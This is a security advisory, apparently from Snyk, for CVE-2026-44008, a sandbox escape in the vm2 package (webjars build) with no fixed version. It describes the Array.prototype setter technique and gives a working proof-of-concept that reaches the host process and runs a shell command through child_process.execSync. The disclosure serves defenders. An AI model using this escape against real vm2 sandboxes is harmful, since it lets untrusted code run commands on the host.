Arbitrary Code Injection Affecting org.webjars.npm:vm2 package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Social Trends
Exploit Maturity
Proof of Concept
EPSS
0.85% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-16624525
  • published10 May 2026
  • disclosed8 May 2026
  • creditXmiliaH

Introduced: 8 May 2026

CVE-2026-44008  (opens in a new tab)
CWE-1321  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.npm:vm2.

Overview

org.webjars.npm:vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Injection despite the recently introduced neutralizeArraySpeciesBatch helper in lib/bridge.js. An attacker can execute arbitrary code by installing a setter on Array.prototype[N] and then triggering a host call with a sandbox array argument, causing the bridge to append its saved-state record through ordinary indexed assignment and hand the attacker a record containing a host-realm proxy. From that leaked proxy, attacker-controlled code can reach the host Function constructor and obtain the host process, escaping the sandbox and running commands in the host environment.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
    set(value) {
        a.f = Buffer.prototype.inspect;
        value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
    }
});
new Buffer(a);
`));

CVSS Base Scores

version 4.0
version 3.1